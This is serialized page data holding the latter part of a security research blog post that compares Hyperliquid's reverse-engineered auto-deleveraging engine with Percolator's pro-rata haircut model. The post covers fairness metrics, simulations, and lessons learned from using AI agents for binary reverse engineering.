",{"type":23,"tag":64,"props":162097,"children":162099},{"className":162098},[1527,1528],[162100],{"type":23,"tag":481,"props":162101,"children":162103},{"className":162102},[1533],[162104],{"type":23,"tag":481,"props":162105,"children":162107},{"className":162106,"ariaHidden":1539},[1538],[162108,162187],{"type":23,"tag":481,"props":162109,"children":162111},{"className":162110},[1544],[162112,162117,162174,162178,162183],{"type":23,"tag":481,"props":162113,"children":162116},{"className":162114,"style":162115},[1549],"height:0.6891em;vertical-align:-0.15em;",[],{"type":23,"tag":481,"props":162118,"children":162120},{"className":162119},[1555],[162121,162126],{"type":23,"tag":481,"props":162122,"children":162124},{"className":162123,"style":119859},[1555,19086],[162125],{"type":28,"value":47097},{"type":23,"tag":481,"props":162127,"children":162129},{"className":162128},[1572],[162130],{"type":23,"tag":481,"props":162131,"children":162133},{"className":162132},[1577,19140],[162134,162163],{"type":23,"tag":481,"props":162135,"children":162137},{"className":162136},[1582],[162138,162158],{"type":23,"tag":481,"props":162139,"children":162141},{"className":162140,"style":91108},[1587],[162142],{"type":23,"tag":481,"props":162143,"children":162144},{"style":158807},[162145,162149],{"type":23,"tag":481,"props":162146,"children":162148},{"className":162147,"style":1597},[1596],[],{"type":23,"tag":481,"props":162150,"children":162152},{"className":162151},[1602,1603,1604,1605],[162153],{"type":23,"tag":481,"props":162154,"children":162156},{"className":162155},[1555,19086,1605],[162157],{"type":28,"value":1274},{"type":23,"tag":481,"props":162159,"children":162161},{"className":162160},[19243],[162162],{"type":28,"value":19246},{"type":23,"tag":481,"props":162164,"children":162166},{"className":162165},[1582],[162167],{"type":23,"tag":481,"props":162168,"children":162170},{"className":162169,"style":90662},[1587],[162171],{"type":23,"tag":481,"props":162172,"children":162173},{},[],{"type":23,"tag":481,"props":162175,"children":162177},{"className":162176,"style":1734},[1636],[],{"type":23,"tag":481,"props":162179,"children":162181},{"className":162180},[1739],[162182],{"type":28,"value":7947},{"type":23,"tag":481,"props":162184,"children":162186},{"className":162185,"style":1734},[1636],[],{"type":23,"tag":481,"props":162188,"children":162190},{"className":162189},[1544],[162191,162195],{"type":23,"tag":481,"props":162192,"children":162194},{"className":162193,"style":91610},[1549],[],{"type":23,"tag":481,"props":162196,"children":162198},{"className":162197},[1555],[162199],{"type":28,"value":1568},{"type":28,"value":162201}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":23,"tag":64,"props":162203,"children":162205},{"className":162204},[1527,1528],[162206],{"type":23,"tag":481,"props":162207,"children":162209},{"className":162208},[1533],[162210],{"type":23,"tag":481,"props":162211,"children":162213},{"className":162212,"ariaHidden":1539},[1538],[162214,162240],{"type":23,"tag":481,"props":162215,"children":162217},{"className":162216},[1544],[162218,162222,162227,162231,162236],{"type":23,"tag":481,"props":162219,"children":162221},{"className":162220,"style":19081},[1549],[],{"type":23,"tag":481,"props":162223,"children":162225},{"className":162224,"style":19087},[1555,19086],[162226],{"type":28,"value":119357},{"type":23,"tag":481,"props":162228,"children":162230},{"className":162229,"style":1734},[1636],[],{"type":23,"tag":481,"props":162232,"children":162234},{"className":162233},[1739],[162235],{"type":28,"value":603},{"type":23,"tag":481,"props":162237,"children":162239},{"className":162238,"style":1734},[1636],[],{"type":23,"tag":481,"props":162241,"children":162243},{"className":162242},[1544],[162244,162248],{"type":23,"tag":481,"props":162245,"children":162247},{"className":162246,"style":91610},[1549],[],{"type":23,"tag":481,"props":162249,"children":162251},{"className":162250},[1555],[162252],{"type":28,"value":1558},{"type":28,"value":162254}," means everyone loses the same fraction of their PNL. ",{"type":23,"tag":64,"props":162256,"children":162258},{"className":162257},[1527,1528],[162259],{"type":23,"tag":481,"props":162260,"children":162262},{"className":162261},[1533],[162263],{"type":23,"tag":481,"props":162264,"children":162266},{"className":162265,"ariaHidden":1539},[1538],[162267,162294],{"type":23,"tag":481,"props":162268,"children":162270},{"className":162269},[1544],[162271,162275,162280,162284,162290],{"type":23,"tag":481,"props":162272,"children":162274},{"className":162273,"style":19081},[1549],[],{"type":23,"tag":481,"props":162276,"children":162278},{"className":162277,"style":19087},[1555,19086],[162279],{"type":28,"value":119357},{"type":23,"tag":481,"props":162281,"children":162283},{"className":162282,"style":1734},[1636],[],{"type":23,"tag":481,"props":162285,"children":162287},{"className":162286},[1739],[162288],{"type":28,"value":162289},"≈",{"type":23,"tag":481,"props":162291,"children":162293},{"className":162292,"style":1734},[1636],[],{"type":23,"tag":481,"props":162295,"children":162297},{"className":162296},[1544],[162298,162302],{"type":23,"tag":481,"props":162299,"children":162301},{"className":162300,"style":91610},[1549],[],{"type":23,"tag":481,"props":162303,"children":162305},{"className":162304},[1555],[162306],{"type":28,"value":1568},{"type":28,"value":162308}," means a few get wiped while most are untouched.",{"type":23,"tag":77,"props":162310,"children":162311},{},[162312,162316,162317,162475,162477,162571,162573],{"type":23,"tag":127,"props":162313,"children":162314},{},[162315],{"type":28,"value":158411},{"type":28,"value":30427},{"type":23,"tag":64,"props":162318,"children":162320},{"className":162319},[1527,1528],[162321],{"type":23,"tag":481,"props":162322,"children":162324},{"className":162323},[1533],[162325],{"type":23,"tag":481,"props":162326,"children":162328},{"className":162327,"ariaHidden":1539},[1538],[162329],{"type":23,"tag":481,"props":162330,"children":162332},{"className":162331},[1544],[162333,162338,162413,162418],{"type":23,"tag":481,"props":162334,"children":162337},{"className":162335,"style":162336},[1549],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":23,"tag":481,"props":162339,"children":162341},{"className":162340},[1555],[162342,162347],{"type":23,"tag":481,"props":162343,"children":162345},{"className":162344,"style":92587},[1555,19086],[162346],{"type":28,"value":159136},{"type":23,"tag":481,"props":162348,"children":162350},{"className":162349},[1572],[162351],{"type":23,"tag":481,"props":162352,"children":162354},{"className":162353},[1577,19140],[162355,162401],{"type":23,"tag":481,"props":162356,"children":162358},{"className":162357},[1582],[162359,162396],{"type":23,"tag":481,"props":162360,"children":162362},{"className":162361,"style":106296},[1587],[162363,162380],{"type":23,"tag":481,"props":162364,"children":162366},{"style":162365},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[162367,162371],{"type":23,"tag":481,"props":162368,"children":162370},{"className":162369,"style":1597},[1596],[],{"type":23,"tag":481,"props":162372,"children":162374},{"className":162373},[1602,1603,1604,1605],[162375],{"type":23,"tag":481,"props":162376,"children":162378},{"className":162377,"style":19087},[1555,19086,1605],[162379],{"type":28,"value":3464},{"type":23,"tag":481,"props":162381,"children":162382},{"style":1591},[162383,162387],{"type":23,"tag":481,"props":162384,"children":162386},{"className":162385,"style":1597},[1596],[],{"type":23,"tag":481,"props":162388,"children":162390},{"className":162389},[1602,1603,1604,1605],[162391],{"type":23,"tag":481,"props":162392,"children":162394},{"className":162393,"style":91065},[1555,19086,1605],[162395],{"type":28,"value":158650},{"type":23,"tag":481,"props":162397,"children":162399},{"className":162398},[19243],[162400],{"type":28,"value":19246},{"type":23,"tag":481,"props":162402,"children":162404},{"className":162403},[1582],[162405],{"type":23,"tag":481,"props":162406,"children":162409},{"className":162407,"style":162408},[1587],"height:0.2753em;",[162410],{"type":23,"tag":481,"props":162411,"children":162412},{},[],{"type":23,"tag":481,"props":162414,"children":162416},{"className":162415},[1555],[162417],{"type":28,"value":2130},{"type":23,"tag":481,"props":162419,"children":162421},{"className":162420},[1555],[162422,162427],{"type":23,"tag":481,"props":162423,"children":162425},{"className":162424,"style":92587},[1555,19086],[162426],{"type":28,"value":159136},{"type":23,"tag":481,"props":162428,"children":162430},{"className":162429},[1572],[162431],{"type":23,"tag":481,"props":162432,"children":162434},{"className":162433},[1577,19140],[162435,162464],{"type":23,"tag":481,"props":162436,"children":162438},{"className":162437},[1582],[162439,162459],{"type":23,"tag":481,"props":162440,"children":162442},{"className":162441,"style":140134},[1587],[162443],{"type":23,"tag":481,"props":162444,"children":162445},{"style":159155},[162446,162450],{"type":23,"tag":481,"props":162447,"children":162449},{"className":162448,"style":1597},[1596],[],{"type":23,"tag":481,"props":162451,"children":162453},{"className":162452},[1602,1603,1604,1605],[162454],{"type":23,"tag":481,"props":162455,"children":162457},{"className":162456,"style":19087},[1555,19086,1605],[162458],{"type":28,"value":3464},{"type":23,"tag":481,"props":162460,"children":162462},{"className":162461},[19243],[162463],{"type":28,"value":19246},{"type":23,"tag":481,"props":162465,"children":162467},{"className":162466},[1582],[162468],{"type":23,"tag":481,"props":162469,"children":162471},{"className":162470,"style":90662},[1587],[162472],{"type":23,"tag":481,"props":162473,"children":162474},{},[],{"type":28,"value":162476}," — ",{"type":23,"tag":64,"props":162478,"children":162480},{"className":162479},[1527,1528],[162481],{"type":23,"tag":481,"props":162482,"children":162484},{"className":162483},[1533],[162485],{"type":23,"tag":481,"props":162486,"children":162488},{"className":162487,"ariaHidden":1539},[1538],[162489],{"type":23,"tag":481,"props":162490,"children":162492},{"className":162491},[1544],[162493,162498],{"type":23,"tag":481,"props":162494,"children":162497},{"className":162495,"style":162496},[1549],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":23,"tag":481,"props":162499,"children":162501},{"className":162500},[1555],[162502,162507],{"type":23,"tag":481,"props":162503,"children":162505},{"className":162504,"style":92587},[1555,19086],[162506],{"type":28,"value":159136},{"type":23,"tag":481,"props":162508,"children":162510},{"className":162509},[1572],[162511],{"type":23,"tag":481,"props":162512,"children":162514},{"className":162513},[1577,19140],[162515,162560],{"type":23,"tag":481,"props":162516,"children":162518},{"className":162517},[1582],[162519,162555],{"type":23,"tag":481,"props":162520,"children":162522},{"className":162521,"style":106296},[1587],[162523,162539],{"type":23,"tag":481,"props":162524,"children":162525},{"style":162365},[162526,162530],{"type":23,"tag":481,"props":162527,"children":162529},{"className":162528,"style":1597},[1596],[],{"type":23,"tag":481,"props":162531,"children":162533},{"className":162532},[1602,1603,1604,1605],[162534],{"type":23,"tag":481,"props":162535,"children":162537},{"className":162536,"style":19087},[1555,19086,1605],[162538],{"type":28,"value":3464},{"type":23,"tag":481,"props":162540,"children":162541},{"style":1591},[162542,162546],{"type":23,"tag":481,"props":162543,"children":162545},{"className":162544,"style":1597},[1596],[],{"type":23,"tag":481,"props":162547,"children":162549},{"className":162548},[1602,1603,1604,1605],[162550],{"type":23,"tag":481,"props":162551,"children":162553},{"className":162552,"style":91065},[1555,19086,1605],[162554],{"type":28,"value":158650},{"type":23,"tag":481,"props":162556,"children":162558},{"className":162557},[19243],[162559],{"type":28,"value":19246},{"type":23,"tag":481,"props":162561,"children":162563},{"className":162562},[1582],[162564],{"type":23,"tag":481,"props":162565,"children":162567},{"className":162566,"style":162408},[1587],[162568],{"type":23,"tag":481,"props":162569,"children":162570},{},[],{"type":28,"value":162572}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":23,"tag":64,"props":162574,"children":162576},{"className":162575},[1527,1528],[162577],{"type":23,"tag":481,"props":162578,"children":162580},{"className":162579},[1533],[162581],{"type":23,"tag":481,"props":162582,"children":162584},{"className":162583,"ariaHidden":1539},[1538],[162585],{"type":23,"tag":481,"props":162586,"children":162588},{"className":162587},[1544],[162589,162593],{"type":23,"tag":481,"props":162590,"children":162592},{"className":162591,"style":108420},[1549],[],{"type":23,"tag":481,"props":162594,"children":162596},{"className":162595,"style":91065},[1555,19086],[162597],{"type":28,"value":158650},{"type":23,"tag":24,"props":162599,"children":162600},{},[162601],{"type":28,"value":162602},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":23,"tag":162604,"props":162605,"children":162607},"git-hub-repo-link",{"url":162606},"https://github.com/aeyakovenko/percolator",[],{"type":23,"tag":24,"props":162609,"children":162610},{},[162611,162613,162618],{"type":28,"value":162612},"Given a fixed ",{"type":23,"tag":127,"props":162614,"children":162615},{},[162616],{"type":28,"value":162617},"a priori",{"type":28,"value":162619}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":23,"tag":24,"props":162621,"children":162622},{},[162623,162625,162630,162632,162709],{"type":28,"value":162624},"One prediction that we can make is that Percolator is ",{"type":23,"tag":127,"props":162626,"children":162627},{},[162628],{"type":28,"value":162629},"perfectly fair",{"type":28,"value":162631}," according to this scoring: the ",{"type":23,"tag":64,"props":162633,"children":162635},{"className":162634},[1527,1528],[162636],{"type":23,"tag":481,"props":162637,"children":162639},{"className":162638},[1533],[162640],{"type":23,"tag":481,"props":162641,"children":162643},{"className":162642,"ariaHidden":1539},[1538],[162644],{"type":23,"tag":481,"props":162645,"children":162647},{"className":162646},[1544],[162648,162652],{"type":23,"tag":481,"props":162649,"children":162651},{"className":162650,"style":139858},[1549],[],{"type":23,"tag":481,"props":162653,"children":162655},{"className":162654},[1555],[162656,162661],{"type":23,"tag":481,"props":162657,"children":162659},{"className":162658},[1555,19086],[162660],{"type":28,"value":81877},{"type":23,"tag":481,"props":162662,"children":162664},{"className":162663},[1572],[162665],{"type":23,"tag":481,"props":162666,"children":162668},{"className":162667},[1577,19140],[162669,162698],{"type":23,"tag":481,"props":162670,"children":162672},{"className":162671},[1582],[162673,162693],{"type":23,"tag":481,"props":162674,"children":162676},{"className":162675,"style":91108},[1587],[162677],{"type":23,"tag":481,"props":162678,"children":162679},{"style":90635},[162680,162684],{"type":23,"tag":481,"props":162681,"children":162683},{"className":162682,"style":1597},[1596],[],{"type":23,"tag":481,"props":162685,"children":162687},{"className":162686},[1602,1603,1604,1605],[162688],{"type":23,"tag":481,"props":162689,"children":162691},{"className":162690},[1555,19086,1605],[162692],{"type":28,"value":1274},{"type":23,"tag":481,"props":162694,"children":162696},{"className":162695},[19243],[162697],{"type":28,"value":19246},{"type":23,"tag":481,"props":162699,"children":162701},{"className":162700},[1582],[162702],{"type":23,"tag":481,"props":162703,"children":162705},{"className":162704,"style":90662},[1587],[162706],{"type":23,"tag":481,"props":162707,"children":162708},{},[],{"type":28,"value":162710}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":23,"tag":24,"props":162712,"children":162713},{},[162714,162716,162721],{"type":28,"value":162715},"We are ignoring the ",{"type":23,"tag":127,"props":162717,"children":162718},{},[162719],{"type":28,"value":162720},"a posteriori",{"type":28,"value":162722}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":23,"tag":24,"props":162724,"children":162725},{},[162726],{"type":28,"value":162727},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":23,"tag":31,"props":162729,"children":162731},{"id":162730},"simulations",[162732],{"type":28,"value":162733},"Simulations",{"type":23,"tag":24,"props":162735,"children":162736},{},[162737],{"type":28,"value":162738},"Let's consider the following price scenarios, as we said:",{"type":23,"tag":24,"props":162740,"children":162741},{},[162742],{"type":23,"tag":149,"props":162743,"children":162746},{"alt":162744,"src":162745},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":23,"tag":24,"props":162748,"children":162749},{},[162750],{"type":28,"value":162751},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":23,"tag":24,"props":162753,"children":162754},{},[162755],{"type":23,"tag":149,"props":162756,"children":162759},{"alt":162757,"src":162758},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":23,"tag":7092,"props":162761,"children":162763},{"id":162762},"percolator-is-more-optimistic",[162764],{"type":28,"value":162765},"Percolator Is More \"Optimistic\"",{"type":23,"tag":24,"props":162767,"children":162768},{},[162769,162771,162776,162778,162783,162785,162791,162793,162798],{"type":28,"value":162770},"The key difference is what happens to positions. ADL ",{"type":23,"tag":127,"props":162772,"children":162773},{},[162774],{"type":28,"value":162775},"permanently closes",{"type":28,"value":162777}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":23,"tag":127,"props":162779,"children":162780},{},[162781],{"type":28,"value":162782},"withdraw",{"type":28,"value":162784},", but the position stays open. If conditions improve, ",{"type":23,"tag":64,"props":162786,"children":162788},{"className":162787},[],[162789],{"type":28,"value":162790},"Residual",{"type":28,"value":162792}," goes up, ",{"type":23,"tag":64,"props":162794,"children":162796},{"className":162795},[],[162797],{"type":28,"value":81877},{"type":28,"value":162799}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":23,"tag":24,"props":162801,"children":162802},{},[162803,162805,162809],{"type":28,"value":162804},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":23,"tag":127,"props":162806,"children":162807},{},[162808],{"type":28,"value":17684},{"type":28,"value":162810}," per position, though the tradeoff is that fewer traders get to participate.",{"type":23,"tag":24,"props":162812,"children":162813},{},[162814],{"type":23,"tag":149,"props":162815,"children":162818},{"alt":162816,"src":162817},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":23,"tag":31,"props":162820,"children":162822},{"id":162821},"some-points-to-be-made",[162823],{"type":28,"value":162824},"Some Points to Be Made",{"type":23,"tag":7092,"props":162826,"children":162828},{"id":162827},"percolator-is-indifferent-to-leverage",[162829],{"type":28,"value":162830},"Percolator Is Indifferent to Leverage",{"type":23,"tag":24,"props":162832,"children":162833},{},[162834],{"type":28,"value":162835},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":23,"tag":24,"props":162837,"children":162838},{},[162839],{"type":23,"tag":149,"props":162840,"children":162843},{"alt":162841,"src":162842},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":23,"tag":7092,"props":162845,"children":162847},{"id":162846},"fairness",[162848],{"type":28,"value":158401},{"type":23,"tag":24,"props":162850,"children":162851},{},[162852],{"type":28,"value":162853},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":23,"tag":24,"props":162855,"children":162856},{},[162857],{"type":23,"tag":149,"props":162858,"children":162861},{"alt":162859,"src":162860},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":23,"tag":24,"props":162863,"children":162864},{},[162865,162867,162872],{"type":28,"value":162866},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":23,"tag":64,"props":162868,"children":162870},{"className":162869},[],[162871],{"type":28,"value":156903},{"type":28,"value":162873}," we start by fully closing the worst position against the best-performing trader.",{"type":23,"tag":31,"props":162875,"children":162877},{"id":162876},"strengths-and-limitations-of-agents-for-reverse-engineering",[162878],{"type":28,"value":162879},"Strengths and Limitations of Agents for Reverse Engineering",{"type":23,"tag":24,"props":162881,"children":162882},{},[162883],{"type":28,"value":162884},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":23,"tag":7092,"props":162886,"children":162888},{"id":162887},"hooks",[162889],{"type":28,"value":162890},"Hooks",{"type":23,"tag":24,"props":162892,"children":162893},{},[162894,162896,162900],{"type":28,"value":162895},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":23,"tag":127,"props":162897,"children":162898},{},[162899],{"type":28,"value":162887},{"type":28,"value":162901},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":23,"tag":24,"props":162903,"children":162904},{},[162905],{"type":28,"value":162906},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":23,"tag":7092,"props":162908,"children":162910},{"id":162909},"scale",[162911],{"type":28,"value":162912},"Scale",{"type":23,"tag":24,"props":162914,"children":162915},{},[162916],{"type":28,"value":162917},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":23,"tag":24,"props":162919,"children":162920},{},[162921],{"type":28,"value":162922},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":23,"tag":7092,"props":162924,"children":162926},{"id":162925},"whats-next",[162927],{"type":28,"value":162928},"What's next?",{"type":23,"tag":24,"props":162930,"children":162931},{},[162932],{"type":28,"value":162933},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":23,"tag":162604,"props":162935,"children":162936},{"url":156564},[],{"type":23,"tag":24,"props":162938,"children":162939},{},[162940],{"type":28,"value":162941},"The analyzed binary can be found here:",{"type":23,"tag":156884,"props":162943,"children":162946},{"path":162944,"name":156488,"size":162945},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":23,"tag":7092,"props":162948,"children":162950},{"id":162949},"closing-words",[162951],{"type":28,"value":162952},"Closing Words",{"type":23,"tag":24,"props":162954,"children":162955},{},[162956],{"type":28,"value":162957},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":23,"tag":24,"props":162959,"children":162960},{},[162961,162963,162968],{"type":28,"value":162962},"Flagship models got us 60% of the way there, but a lot of ",{"type":23,"tag":127,"props":162964,"children":162965},{},[162966],{"type":28,"value":162967},"manual",{"type":28,"value":162969}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":23,"tag":24,"props":162971,"children":162972},{},[162973],{"type":28,"value":162974},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":23,"tag":24,"props":162976,"children":162977},{},[162978],{"type":28,"value":162979},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":23,"tag":162981,"props":162982,"children":162983},"report-footnotes",{},[162984],{"type":23,"tag":73,"props":162985,"children":162986},{},[162987,162992,163019,163024,163029],{"type":23,"tag":77,"props":162988,"children":162989},{},[162990],{"type":28,"value":162991},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":23,"tag":77,"props":162993,"children":162994},{},[162995,163001,163003,163009,163011,163017],{"type":23,"tag":64,"props":162996,"children":162998},{"className":162997},[],[162999],{"type":28,"value":163000},"compute_user_margin_and_shortfall",{"type":28,"value":163002}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":23,"tag":64,"props":163004,"children":163006},{"className":163005},[],[163007],{"type":28,"value":163008},"0x748",{"type":28,"value":163010}," in the abstract expressions of ",{"type":23,"tag":64,"props":163012,"children":163014},{"className":163013},[],[163015],{"type":28,"value":163016},"btree_cursor",{"type":28,"value":163018},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":23,"tag":77,"props":163020,"children":163021},{},[163022],{"type":28,"value":163023},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":23,"tag":77,"props":163025,"children":163026},{},[163027],{"type":28,"value":163028},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":23,"tag":77,"props":163030,"children":163031},{},[163032,163034,163040],{"type":28,"value":163033},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":23,"tag":64,"props":163035,"children":163037},{"className":163036},[],[163038],{"type":28,"value":163039},"s3://hl-mainnet-node-data/explorer_blocks",{"type":28,"value":199},{"title":7,"searchDepth":351,"depth":351,"links":163042},[163043,163044,163045,163046,163047,163050,163051,163052,163055,163056,163059,163063],{"id":156434,"depth":351,"text":156437},{"id":156427,"depth":351,"text":156455},{"id":156512,"depth":351,"text":156515},{"id":156793,"depth":351,"text":156796},{"id":156827,"depth":351,"text":156830,"children":163048},[163049],{"id":156966,"depth":531,"text":156969},{"id":157745,"depth":351,"text":157748},{"id":157841,"depth":351,"text":157844},{"id":158059,"depth":351,"text":158062,"children":163053},[163054],{"id":158304,"depth":531,"text":158307},{"id":158364,"depth":351,"text":158367},{"id":162730,"depth":351,"text":162733,"children":163057},[163058],{"id":162762,"depth":531,"text":162765},{"id":162821,"depth":351,"text":162824,"children":163060},[163061,163062],{"id":162827,"depth":531,"text":162830},{"id":162846,"depth":531,"text":158401},{"id":162876,"depth":351,"text":162879,"children":163064},[163065,163066,163067,163068],{"id":162887,"depth":531,"text":162890},{"id":162909,"depth":531,"text":162912},{"id":162925,"depth":531,"text":162928},{"id":162949,"depth":531,"text":162952},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630595]